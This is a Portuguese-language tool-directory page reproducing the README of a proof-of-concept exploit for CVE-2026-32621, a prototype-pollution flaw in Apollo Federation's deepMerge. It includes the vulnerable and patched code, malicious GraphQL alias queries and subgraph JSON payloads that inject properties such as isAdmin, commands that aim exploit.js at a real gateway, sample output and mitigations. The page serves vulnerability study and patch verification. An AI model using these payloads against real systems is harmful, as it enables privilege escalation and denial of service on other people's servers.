Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability — Exploit de PoC para CVE-2026-32621 demonstrando poluição de protótipo deepMerge do Apollo Federation por meio de aliases GraphQL elaborados, com testes de versão corrigida. | Kitploit
Ferramentas/GitHubGitHub/sam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança de API
GitHubsam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability

POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability

Exploit de PoC para CVE-2026-32621 demonstrando poluição de protótipo deepMerge do Apollo Federation por meio de aliases GraphQL elaborados, com testes de versão corrigida.

Ver Repositório
3há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-32621 - PoC de Poluição de Protótipo no Apollo Federation

Visão Geral

CampoValor
CVECVE-2026-32621
CVSS9.9 Crítico
CWECWE-1321 (Poluição de Protótipo)
AfetadosApollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2
Corrigido2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
GHSAGHSA-pfjj-6f4p-rvmh

Descrição da Vulnerabilidade

A função deepMerge do Apollo Federation (usada em @apollo/query-planner e @apollo/gateway para mesclar respostas de subgrafos durante a execução do plano de consulta) falha ao sanitizar chaves antes de acessar target[key].

Quando um objeto de origem contém __proto__ como propriedade própria (o que JSON.parse cria), Object.keys() a retorna e target["__proto__"] resolve para Object.prototype por meio da cadeia de protótipos. A mesclagem então grava propriedades diretamente em Object.prototype, poluindo a cadeia de protótipos global de todo o processo Node.js.

Causa Raiz

root@kitploit:~
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

Vetores de Ataque

1. Lado do Cliente (Consulta GraphQL Maliciosa)

Um cliente envia uma consulta GraphQL com aliases de campos chamados __proto__, constructor ou prototype. Quando o gateway processa a resposta, deepMerge usa esses aliases como chaves, poluindo Object.prototype.

root@kitploit:~
query {
  __proto__: products {
    polluted: id
  }
}

2. Lado do Subgrafo (Subgrafo Comprometido)

Um subgrafo comprometido retorna JSON com chaves __proto__. Quando o gateway mescla a resposta via deepMerge, Object.prototype é poluído.

root@kitploit:~
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

3. Cadeia Aninhada

root@kitploit:~
query {
  constructor: products {
    prototype: id
  }
}

Impacto

  • Escalação de privilégios: Injetar propriedades isAdmin, role, permissions
  • Negação de Serviço: Sobrescrever toString, valueOf com funções nulas/quebradas
  • Integridade de dados: Injetar propriedades que afetam a lógica de negócios
  • Persistente: A poluição afeta TODAS as solicitações subsequentes à instância do gateway
  • Entre solicitações: Qualquer solicitação após o ataque vê protótipos poluídos

Documentação

DocumentoConteúdo
USAGE.mdGuia de uso detalhado com instruções passo a passo
DIAGRAM.mdDiagramas de estrutura e visualização do fluxo de ataque

Arquivos

| Arquivo | Finalidade |

|------|---------| | exploit.js | Exploit principal com 5 vetores de ataque + demonstração local | | test_exploit.js | Testes de unidade (15 testes validando poluição e correção) | | e2e_test.js | Validação de ponta a ponta (10 testes: gateway + exploit + verificação) | | setup_vulnerable.js | Simulador de gateway vulnerável para testes |

Uso

Início Rápido (Demonstração Local)

root@kitploit:~
# Run the local deepMerge vulnerability demonstration
node exploit.js

Isto demonstra o caminho exato do código vulnerável sem precisar de um gateway em execução.

Exploit Completo (Com Gateway Vulnerável)

root@kitploit:~
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql

Executar Testes

root@kitploit:~
# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js

Exploit Contra Gateway Apollo Real

root@kitploit:~
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql

Exemplo de Saída

root@kitploit:~
======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

Diagrama da Cadeia de Ataque

root@kitploit:~
Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │

Veja DIAGRAM.md para diagramas completos de arquitetura.

Mitigação

  1. Atualize para as versões corrigidas: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
  2. Filtragem de entrada: Bloquear operações GraphQL que contenham __proto__, constructor, prototype em aliases de campos e nomes de variáveis
  3. Confiança no subgrafo: Garantir que todos os subgrafos sejam de fontes confiáveis
  4. Object.create(null): Usar objetos de protótipo nulo quando possível

Referências

  • Entrada NVD
  • Advisory do GitHub GHSA-pfjj-6f4p-rvmh
  • Advisory de Segurança do Apollo Federation
  • CWE-1321

Licença

MIT

Baixar ferramenta